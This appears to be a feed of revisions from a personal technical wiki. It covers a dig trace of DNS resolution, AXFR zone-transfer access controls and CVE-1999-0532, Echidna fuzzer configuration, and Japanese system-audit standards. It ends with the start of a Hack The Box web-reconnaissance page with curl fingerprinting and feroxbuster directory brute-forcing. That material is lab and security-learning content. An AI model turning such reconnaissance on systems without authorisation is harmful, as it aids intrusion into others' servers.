;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 3&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;zombo.com.         IN  A&lt;br /&gt;
&lt;br /&gt;
;; AUTHORITY SECTION:&lt;br /&gt;
zombo.com.      172800  IN  NS  ns.liquidweb.com.&lt;br /&gt;
zombo.com.      172800  IN  NS  ns1.liquidweb.com.&lt;br /&gt;
CK0POJMG874LJREF7EFN8430QVIT8BSM.com. 900 IN NSEC3 1 1 0 - CK0Q3UDG8CEKKAE7RUKPGCT1DVSSH8LL NS SOA RRSIG DNSKEY NSEC3PARAM&lt;br /&gt;
CK0POJMG874LJREF7EFN8430QVIT8BSM.com. 900 IN RRSIG NSEC3 13 2 900 20250111002631 20250103231631 29942 com. HiG6TuJBV47MnPmttWN98zHscsehwlRhgzemiswIdlmKh993eKxhdUbB d4hhuK7piTIFoZ4Gi/THENgJJKuCmg==&lt;br /&gt;
E5F0ON130HM3M2JQH41BK2763KA5559S.com. 900 IN NSEC3 1 1 0 - E5F126VHCT3KQ620F4OFQ11HB5BJBFRT NS DS RRSIG&lt;br /&gt;
E5F0ON130HM3M2JQH41BK2763KA5559S.com. 900 IN RRSIG NSEC3 13 2 900 20250113013526 20250106002526 29942 com. 0SoW/r4xPtu4bnmOTSLtkwb9ezAyCHkI1XLAQPRWvu0x7xCBVwguEw8j eR+ZHeLU4x5n5q7d/3/1n/uH2x6kig==&lt;br /&gt;
&lt;br /&gt;
;; ADDITIONAL SECTION:&lt;br /&gt;
ns.liquidweb.com.   172800  IN  A   69.16.222.254&lt;br /&gt;
ns1.liquidweb.com.  172800  IN  A   69.16.223.254&lt;br /&gt;
&lt;br /&gt;
;; Query time: 10 msec&lt;br /&gt;
;; SERVER: 192.31.80.30#53(d.gtld-servers.net) (UDP)&lt;br /&gt;
;; WHEN: Tue Jan 07 10:26:18 JST 2025&lt;br /&gt;
;; MSG SIZE  rcvd: 472&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;registrar-name-server&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Registrar name server ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;d.gtld-servers.net&amp;lt;/code&amp;gt; told &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; that it should ask &amp;lt;code&amp;gt;ns.liquidweb.com&amp;lt;/code&amp;gt; for &amp;lt;code&amp;gt;zombo.com.&amp;lt;/code&amp;gt;. Here’s the response &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; receives after querying &amp;lt;code&amp;gt;zombo.com&amp;lt;/code&amp;gt;’s &#039;&#039;&#039;authoritative name&#039;&#039;&#039; server. The response contains a single &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; record for &amp;lt;code&amp;gt;zombo.com&amp;lt;/code&amp;gt;’s IPv4 address.&lt;br /&gt;
&lt;br /&gt;
Note that the previous DNS queries had no &amp;lt;code&amp;gt;ANSWER&amp;lt;/code&amp;gt; section, not counting the query for &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt; in the beginning. Every DNS query response before &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; asks &amp;lt;code&amp;gt;ns.liquidweb.com&amp;lt;/code&amp;gt; contained &amp;lt;code&amp;gt;AUTHORITY&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;ADDITIONAL&amp;lt;/code&amp;gt; records.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;;; Got answer:&lt;br /&gt;
;; -&amp;amp;gt;&amp;amp;gt;HEADER&amp;amp;lt;&amp;amp;lt;- opcode: QUERY, status: NOERROR, id: 37369&lt;br /&gt;
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags: do; udp: 1680&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;zombo.com.         IN  A&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
zombo.com.      300 IN  A   50.28.52.163&lt;br /&gt;
&lt;br /&gt;
;; Query time: 9 msec&lt;br /&gt;
;; SERVER: 69.16.222.254#53(ns.liquidweb.com) (UDP)&lt;br /&gt;
;; WHEN: Tue Jan 07 10:26:18 JST 2025&lt;br /&gt;
;; MSG SIZE  rcvd: 54&amp;lt;/pre&amp;gt;&lt;br /&gt;
This illustrates the recursive nature of DNS name resolution. &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; is able to query any DNS record &#039;&#039;from scratch&#039;&#039;. It can do so without needing to know each individual name server responsible for a single domain. Instead, &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; figures out which name servers it has to ask on the way to reach the final authoritative name server.&lt;br /&gt;
&lt;br /&gt;
In this example, the authoritative name server is with &amp;lt;code&amp;gt;liquidweb.com&amp;lt;/code&amp;gt;. An authoritative name server for a domain name can change in the future. Being able to perform recursive queries and always retrieving accurate information is important for inter-networking.&lt;br /&gt;
&lt;br /&gt;
The DNS security extensions (DNSSEC) further increase the reliability of this system. &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; can verify the whole chain of DNS responses. You can see for yourself how &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; utilizes DNSSEC by starting &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; using the &amp;lt;code&amp;gt;+dnssec&amp;lt;/code&amp;gt; flag.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;reference&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Reference ==&lt;br /&gt;
&lt;br /&gt;
This [https://serverfault.com/a/1045018 Stack Exchange answer] has more information on how to query a domain name and receive a complete trace.&lt;br /&gt;
&lt;br /&gt;
The section [https://en.wikipedia.org/wiki/Domain_Name_System#DNS_message_format DNS message format] in the Wikipedia article on the Domain Name System explains all the header flags in detail.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;dns-zone-transfer-protocol&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= DNS zone transfer protocol =&lt;br /&gt;
&lt;br /&gt;
The Internet Engineering Task Force (IETF) published [https://datatracker.ietf.org/doc/html/rfc5936 RFC 5936] in June 2010. This document specifies the DNS zone transfer protocol, also called Authoritative Transfer (AXFR).&lt;br /&gt;
&lt;br /&gt;
The RFC says that there &#039;&#039;SHOULD&#039;&#039; be means to restrict sessions to specific clients, but doesn’t specify them further. Access controls are only &#039;&#039;RECOMMENDED&#039;&#039;. See [https://datatracker.ietf.org/doc/html/rfc5936#section-5 section 5] of RFC 5936:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
A DNS implementation SHOULD provide means to restrict AXFR sessions&lt;br /&gt;
to specific clients.&lt;br /&gt;
[...]&lt;br /&gt;
A general-purpose implementation is RECOMMENDED to implement access&lt;br /&gt;
controls based upon &amp;amp;quot;Secret Key Transaction Authentication for DNS&lt;br /&gt;
(TSIG)&amp;amp;quot; [RFC2845] and/or &amp;amp;quot;DNS Request and Transaction Signatures&lt;br /&gt;
( SIG(0)s )&amp;amp;quot; [RFC2931].&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;a-cve-missing-critical-details&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== A CVE missing critical details ==&lt;br /&gt;
&lt;br /&gt;
Check out [https://nvd.nist.gov/vuln/detail/CVE-1999-0532 CVE-1999-0532]. It lists the following vulnerability:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;A DNS server allows zone transfers.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The CVE doesn’t contain any other description, such as affected software or version. Judging by this [https://access.redhat.com/solutions/3173331 Red Hat Solution], this affects the Berkeley Internet Name Domain (BIND) version 9 server on Red Hat Enterprise Linux (RHEL) 6 and 7. RHEL 6 was first released in 2010, and RHEL 7 is from 2013. The timelines don’t add up, since the CVE is from 1999.&lt;br /&gt;
&lt;br /&gt;
This CVE reads like a CWE, since it describes an abstract vulnerability. Compare for example [https://cwe.mitre.org/data/definitions/276.html CWE-276: incorrect default permissions].&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Echidna_tricks&amp;diff=81</id>
		<title>Echidna tricks</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Echidna_tricks&amp;diff=81"/>
		<updated>2026-01-30T04:35:57Z</updated>

		<summary type="html">&lt;p&gt;Justus: fix grammar&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here are some useful tricks for getting the best out of [https://github.com/crytic/echidna Echidna].&lt;br /&gt;
&lt;br /&gt;
Echidna is a fuzzing tool for smart contracts written in [https://docs.soliditylang.org/en/v0.8.30/ Solidity]. Solidity smart contracts primarily work on the [https://ethereum.org/en/ Ethereum] blockchain. Some smart contracts are responsible for managing large amounts of cryptocurrency. With Echidna you can evaluate the security of smart contracts.&lt;br /&gt;
&lt;br /&gt;
Compared to code scanners and formal methods, Echidna is good at finding transactions that can trigger &#039;&#039;unintended&#039;&#039; behavior in smart contracts. Since Echidna is a [https://en.wikipedia.org/wiki/Fuzzing#Aware_of_program_structure coverage-guided fuzzer], it’s also good at finding ways to hit the entire code surface of a smart contract.&lt;br /&gt;
&lt;br /&gt;
To test a smart contract with Echidna, you have to define a testing interface that Echidna can use to interact with your contract under test. This interfaces contains either [https://secure-contracts.com/program-analysis/echidna/basic/assertion-checking.html assertions] or [https://secure-contracts.com/program-analysis/echidna/introduction/how-to-test-a-property.html properties]. You can select which kind of test Echidna should perform using the command line flag &amp;lt;code&amp;gt;--test-mode&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;configuration-options&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Configuration options =&lt;br /&gt;
&lt;br /&gt;
Echidna has a lot of [https://secure-contracts.com/program-analysis/echidna/configuration.html configuration options]. Here are some options that I recently used when going through the [https://github.com/crytic/building-secure-contracts/tree/master/program-analysis/echidna Building Secure Contracts Echidna tutorial]:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;testMode&amp;lt;/code&amp;gt;: When working through the tutorials, I’ve only ever used &amp;lt;code&amp;gt;property&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;assertion&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt;: Set these to the same value to ensure that the same account makes all transactions. &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; takes a single address, &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt; accepts a list of strings.&lt;br /&gt;
* &amp;lt;code&amp;gt;cryticArgs&amp;lt;/code&amp;gt;: Set &amp;lt;code&amp;gt;[&amp;amp;quot;--solc-remaps&amp;amp;quot;, &amp;amp;quot;prefix=target&amp;amp;quot;]&amp;lt;/code&amp;gt; if you have dependencies somewhere else. Example: &amp;lt;code&amp;gt;@openzeppelin=../node_modules/@openzeppelin&amp;lt;/code&amp;gt; if your Node.js modules are in the parent directory.&lt;br /&gt;
* &amp;lt;code&amp;gt;balanceContract&amp;lt;/code&amp;gt;: Give this some Ether so that the contract under test can deploy and fund other contracts.&lt;br /&gt;
* &amp;lt;code&amp;gt;balanceAddr&amp;lt;/code&amp;gt;: Give &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt; Ether using this setting.&lt;br /&gt;
* &amp;lt;code&amp;gt;shrinkLimit&amp;lt;/code&amp;gt;: Shrinking stops too early? Set the limit to a higher number than the default &amp;lt;code&amp;gt;5000&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;testLimit&amp;lt;/code&amp;gt;: Tests stop too early? Add more iterations using this setting.&lt;br /&gt;
&lt;br /&gt;
Here’s how it can look like when you combine some of these settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;yaml&amp;quot;&amp;gt;# Give both the Test contract, as well as the sender 100 Wei&lt;br /&gt;
balanceContract: 100&lt;br /&gt;
balanceAddr: 100&lt;br /&gt;
# Run in assertion mode&lt;br /&gt;
testMode: assertion&lt;br /&gt;
# Let Echidna interact with the public interfaces of all contracts&lt;br /&gt;
allContracts: true&lt;br /&gt;
# You can leave out leading zeros in addresses&lt;br /&gt;
# This address deploys your contract&lt;br /&gt;
deployer: &amp;quot;0x30000&amp;quot;&lt;br /&gt;
# These addresses interact with your contracts&lt;br /&gt;
sender:&lt;br /&gt;
  - &amp;quot;0x10000&amp;quot;&lt;br /&gt;
  - &amp;quot;0x20000&amp;quot;&lt;br /&gt;
  - &amp;quot;0x30000&amp;quot;&lt;br /&gt;
# Don&#039;t let Echidna send Ether to the test contract&lt;br /&gt;
filterBlackList: true&lt;br /&gt;
filterFunctions:&lt;br /&gt;
  - &amp;quot;Test.fallback()&amp;quot;&lt;br /&gt;
cryticArgs:&lt;br /&gt;
  - &amp;quot;--solc-remaps&amp;quot;&lt;br /&gt;
  - &amp;quot;@openzeppelin=../node_modules/@openzeppelin&amp;quot;&lt;br /&gt;
# Run 20 workers in parallel. Adjust to the number of CPU cores&lt;br /&gt;
workers: 20&lt;br /&gt;
# Attempt to shrink an interesting case 10,000 times&lt;br /&gt;
shrinkLimit: 10000&lt;br /&gt;
# Run 1 million tests&lt;br /&gt;
testLimit: 1000000&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you create your configuration file, you can tell Echidna to use it with the &amp;lt;code&amp;gt;--config&amp;lt;/code&amp;gt; command line flag. Here’s how to run Echidna using the configuration file &amp;lt;code&amp;gt;echidna.yaml&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;echidna --config echidna.yaml --contract Test test.sol&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This assumes your test contract is called &amp;lt;code&amp;gt;Test&amp;lt;/code&amp;gt; and is in a file called &amp;lt;code&amp;gt;test.sol&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;resources&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/crytic/building-secure-contracts/tree/master Building Secure Contracts]&lt;br /&gt;
* [https://secure-contracts.com/program-analysis/echidna/index.html Echidna tutorial from secure-contracts.com]&lt;br /&gt;
* [https://secure-contracts.com/program-analysis/echidna/configuration.html Echidna Configuration options]&lt;br /&gt;
* [https://ethernaut.openzeppelin.com/ Ethernaut challenge]&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Echidna_tricks&amp;diff=80</id>
		<title>Echidna tricks</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Echidna_tricks&amp;diff=80"/>
		<updated>2026-01-30T04:30:38Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;Here are some useful tricks for getting the best out of [https://github.com/crytic/echidna Echidna].  Echidna is a fuzzing tool for smart contracts written in [https://docs.soliditylang.org/en/v0.8.30/ Solidity]. Solidity smart contracts primarily work on the [https://ethereum.org/en/ Ethereum] blockchain. Some smart contracts are responsible for managing large amounts of cryptocurrency. With Echidna you can evaluate the security of smart contracts.  Compared to code sca...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here are some useful tricks for getting the best out of [https://github.com/crytic/echidna Echidna].&lt;br /&gt;
&lt;br /&gt;
Echidna is a fuzzing tool for smart contracts written in [https://docs.soliditylang.org/en/v0.8.30/ Solidity]. Solidity smart contracts primarily work on the [https://ethereum.org/en/ Ethereum] blockchain. Some smart contracts are responsible for managing large amounts of cryptocurrency. With Echidna you can evaluate the security of smart contracts.&lt;br /&gt;
&lt;br /&gt;
Compared to code scanners and formal methods, Echidna is good at finding transactions that can trigger &#039;&#039;unintended&#039;&#039; behavior in smart contracts. Since Echidna is a [https://en.wikipedia.org/wiki/Fuzzing#Aware_of_program_structure coverage-guided fuzzer], it’s also good at finding ways to hit the entire code surface of a smart contract.&lt;br /&gt;
&lt;br /&gt;
To test a smart contract with Echidna, you have to define a testing interface that it can to interact with your contract under test. This interfaces contains either [https://secure-contracts.com/program-analysis/echidna/basic/assertion-checking.html assertions] or [https://secure-contracts.com/program-analysis/echidna/introduction/how-to-test-a-property.html properties]. You can select which kind of test Echidna should perform using the command line flag &amp;lt;code&amp;gt;--test-mode&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;configuration-options&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Configuration options =&lt;br /&gt;
&lt;br /&gt;
Echidna has a lot of [https://secure-contracts.com/program-analysis/echidna/configuration.html configuration options]. Here are some options that I recently used when going through the [https://github.com/crytic/building-secure-contracts/tree/master/program-analysis/echidna Building Secure Contracts Echidna tutorial]:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;testMode&amp;lt;/code&amp;gt;: When working through the tutorials, I’ve only ever used &amp;lt;code&amp;gt;property&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;assertion&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt;: Set these to the same value to ensure that the same account makes all transactions. &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; takes a single address, &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt; accepts a list of strings.&lt;br /&gt;
* &amp;lt;code&amp;gt;cryticArgs&amp;lt;/code&amp;gt;: Set &amp;lt;code&amp;gt;[&amp;amp;quot;--solc-remaps&amp;amp;quot;, &amp;amp;quot;prefix=target&amp;amp;quot;]&amp;lt;/code&amp;gt; if you have dependencies somewhere else. Example: &amp;lt;code&amp;gt;@openzeppelin=../node_modules/@openzeppelin&amp;lt;/code&amp;gt; if your Node.js modules are in the parent directory.&lt;br /&gt;
* &amp;lt;code&amp;gt;balanceContract&amp;lt;/code&amp;gt;: Give this some Ether so that the contract under test can deploy and fund other contracts.&lt;br /&gt;
* &amp;lt;code&amp;gt;balanceAddr&amp;lt;/code&amp;gt;: Give &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt; Ether using this setting.&lt;br /&gt;
* &amp;lt;code&amp;gt;shrinkLimit&amp;lt;/code&amp;gt;: Shrinking stops too early? Set the limit to a higher number than the default &amp;lt;code&amp;gt;5000&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;testLimit&amp;lt;/code&amp;gt;: Tests stop too early? Add more iterations using this setting.&lt;br /&gt;
&lt;br /&gt;
Here’s how it can look like when you combine some of these settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;yaml&amp;quot;&amp;gt;# Give both the Test contract, as well as the sender 100 Wei&lt;br /&gt;
balanceContract: 100&lt;br /&gt;
balanceAddr: 100&lt;br /&gt;
# Run in assertion mode&lt;br /&gt;
testMode: assertion&lt;br /&gt;
# Let Echidna interact with the public interfaces of all contracts&lt;br /&gt;
allContracts: true&lt;br /&gt;
# You can leave out leading zeros in addresses&lt;br /&gt;
# This address deploys your contract&lt;br /&gt;
deployer: &amp;quot;0x30000&amp;quot;&lt;br /&gt;
# These addresses interact with your contracts&lt;br /&gt;
sender:&lt;br /&gt;
  - &amp;quot;0x10000&amp;quot;&lt;br /&gt;
  - &amp;quot;0x20000&amp;quot;&lt;br /&gt;
  - &amp;quot;0x30000&amp;quot;&lt;br /&gt;
# Don&#039;t let Echidna send Ether to the test contract&lt;br /&gt;
filterBlackList: true&lt;br /&gt;
filterFunctions:&lt;br /&gt;
  - &amp;quot;Test.fallback()&amp;quot;&lt;br /&gt;
cryticArgs:&lt;br /&gt;
  - &amp;quot;--solc-remaps&amp;quot;&lt;br /&gt;
  - &amp;quot;@openzeppelin=../node_modules/@openzeppelin&amp;quot;&lt;br /&gt;
# Run 20 workers in parallel. Adjust to the number of CPU cores&lt;br /&gt;
workers: 20&lt;br /&gt;
# Attempt to shrink an interesting case 10,000 times&lt;br /&gt;
shrinkLimit: 10000&lt;br /&gt;
# Run 1 million tests&lt;br /&gt;
testLimit: 1000000&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you create your configuration file, you can tell Echidna to use it with the &amp;lt;code&amp;gt;--config&amp;lt;/code&amp;gt; command line flag. Here’s how to run Echidna using the configuration file &amp;lt;code&amp;gt;echidna.yaml&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;echidna --config echidna.yaml --contract Test test.sol&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This assumes your test contract is called &amp;lt;code&amp;gt;Test&amp;lt;/code&amp;gt; and is in a file called &amp;lt;code&amp;gt;test.sol&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;resources&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/crytic/building-secure-contracts/tree/master Building Secure Contracts]&lt;br /&gt;
* [https://secure-contracts.com/program-analysis/echidna/index.html Echidna tutorial from secure-contracts.com]&lt;br /&gt;
* [https://secure-contracts.com/program-analysis/echidna/configuration.html Echidna Configuration options]&lt;br /&gt;
* [https://ethernaut.openzeppelin.com/ Ethernaut challenge]&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Main_Page&amp;diff=79</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Main_Page&amp;diff=79"/>
		<updated>2026-01-30T01:02:14Z</updated>

		<summary type="html">&lt;p&gt;Justus: Replaced content with &amp;quot;Welcome to my Wiki!&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to my Wiki!&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E7%9B%A3%E6%9F%BB&amp;diff=78</id>
		<title>システム監査</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E7%9B%A3%E6%9F%BB&amp;diff=78"/>
		<updated>2026-01-09T01:37:55Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;The most recent システ監査基準 is published by the 経済産業省 and published on https://www.meti.go.jp/policy/netsecurity/sys-kansa/, specifically the document called [https://www.meti.go.jp/policy/netsecurity/sys-kansa/sys-kansa-2023r.pdf システム監査基準（令和5年4月26日改訂）].  A lot of online resources on system auditing in Japanese don&amp;#039;t list sources.  The document [https://www.saaj.or.jp/csa/CSAShiryo/CSA_Booklet2019.pdf システム監...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The most recent システ監査基準 is published by the 経済産業省 and published on https://www.meti.go.jp/policy/netsecurity/sys-kansa/, specifically the document called [https://www.meti.go.jp/policy/netsecurity/sys-kansa/sys-kansa-2023r.pdf システム監査基準（令和5年4月26日改訂）].&lt;br /&gt;
&lt;br /&gt;
A lot of online resources on system auditing in Japanese don&#039;t list sources.&lt;br /&gt;
&lt;br /&gt;
The document [https://www.saaj.or.jp/csa/CSAShiryo/CSA_Booklet2019.pdf システム監査を知るための小冊子] lists, among other documents, the following documents as &amp;quot;useful&amp;quot;&amp;lt;ref&amp;gt;システム監査に役立つ主な基準等&amp;lt;/ref&amp;gt; standards:&amp;lt;blockquote&amp;gt;&lt;br /&gt;
* システム監査基準（経済産業省2018年改訂）&lt;br /&gt;
* システム管理基準（経済産業省2018年改訂）&lt;br /&gt;
* システム管理基準 追補版（財務報告に係るIT統制ガイダンス）（経済産業省2007年3月）&amp;lt;ref name=&amp;quot;:0&amp;quot;&amp;gt;[https://www.saaj.or.jp/csa/CSAShiryo/CSA_Booklet2019.pdf システム監査を知るための小冊子]　p. 5, 7&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;This page mentions the システム監査基準 already. This document contains guidelines on how auditors are supposed to perform audits, but not what they&#039;re supposed to audit. On the other hand, the システム管理基準 gives guidelines on what the ideal system under audit is supposed to look like:&amp;lt;blockquote&amp;gt;シ ス テ ム 管 理 基 準 （ 以 下 、 「 基 準 」 と い う 。 ） は […] シ ス テ ム 監 査 基 準 の 「 実 施 基 準 」 の 主 要 部 分 を 抜 き 出し[…] シ ス テム 監 査 基 準 の 姉 妹 編 と し て 策 定 さ れ た 。&amp;lt;ref&amp;gt;https://www.meti.go.jp/policy/netsecurity/sys-kansa/sys-kanri-2023.pdf&lt;br /&gt;
&lt;br /&gt;
シ ス テ ム 管 理 基 準 経 済 産 業 省 令 和 5 年 4 月 26 日&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;Many IPA exams, such as the 応用上処理技術者試験, commonly feature the following three auditing criteria:&lt;br /&gt;
&lt;br /&gt;
# 信頼性&lt;br /&gt;
# 効率性&lt;br /&gt;
# 安全性&lt;br /&gt;
&lt;br /&gt;
Neither the システ監査基準 nor システム監査基準 directly list these.&amp;lt;ref&amp;gt;You can try a full text search within these two documents and 信頼性, 効率性, 安全性 won&#039;t show up.&amp;lt;/ref&amp;gt; Referring back to the overview document on auditing&amp;lt;ref name=&amp;quot;:0&amp;quot; /&amp;gt;, システム監査を知るための小冊子 lists the following three auditing criteria:&amp;lt;blockquote&amp;gt;システム監査基準は、1985年に、コンピュータシステムの&#039;&#039;&#039;効率性&#039;&#039;&#039;・&#039;&#039;&#039;信頼性&#039;&#039;&#039;・&#039;&#039;&#039;安全性&#039;&#039;&#039;を総合的に点検評価し、もって情報化社会の健全化に資する目的で、当時の通商産業省によって制定されました。[emphasis added]&amp;lt;/blockquote&amp;gt;Finally, the システム管理基準 追補版&amp;lt;ref name=&amp;quot;:1&amp;quot;&amp;gt;システム管理基準 追補版 https://www.meti.go.jp/policy/netsecurity/docs/secgov/2024_ZaimuHoukokuNiKakaruITTouseiGuidance.pdf　p. 7, 29&amp;lt;/ref&amp;gt; lists the three keywords 信頼性, 効率性, 安全性 in separate sections: &amp;lt;blockquote&amp;gt;このような会計システムには業務の&#039;&#039;&#039;効率性&#039;&#039;&#039;及び&#039;&#039;&#039;有効性の&#039;&#039;&#039;観点からITが利用されることが多い。一方、会計システムで利用するITにおいても、財務情報が適切に統制され、結果としての財務報告の信頼性が確保されるように統制機能が必須となる。[emphasis added]&amp;lt;ref name=&amp;quot;:1&amp;quot; /&amp;gt;&amp;lt;/blockquote&amp;gt;Here&#039;s another mention:&amp;lt;blockquote&amp;gt;内外からのアクセス管理等のシステムの安全性の確&amp;lt;ref name=&amp;quot;:1&amp;quot; /&amp;gt;&amp;lt;/blockquote&amp;gt;Yet, there&#039;s no list explicitly stating the three criteria as the definitive criteria.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=HtbTricks/HTTP&amp;diff=77</id>
		<title>HtbTricks/HTTP</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=HtbTricks/HTTP&amp;diff=77"/>
		<updated>2026-01-05T07:56:35Z</updated>

		<summary type="html">&lt;p&gt;Justus: Add page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Fingerprint =&lt;br /&gt;
&lt;br /&gt;
Given &amp;lt;code&amp;gt;$HOST&amp;lt;/code&amp;gt; and $PORT:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;curl -i http://$HOST:$PORT&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;feroxbuster&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Feroxbuster =&lt;br /&gt;
&lt;br /&gt;
Given &amp;lt;code&amp;gt;$HOST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$PORT&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$MACHINE&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;$WORDLISTS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wordlists to try out:&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;SecLists/Discovery/Web-Content/dsstorewordlist.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
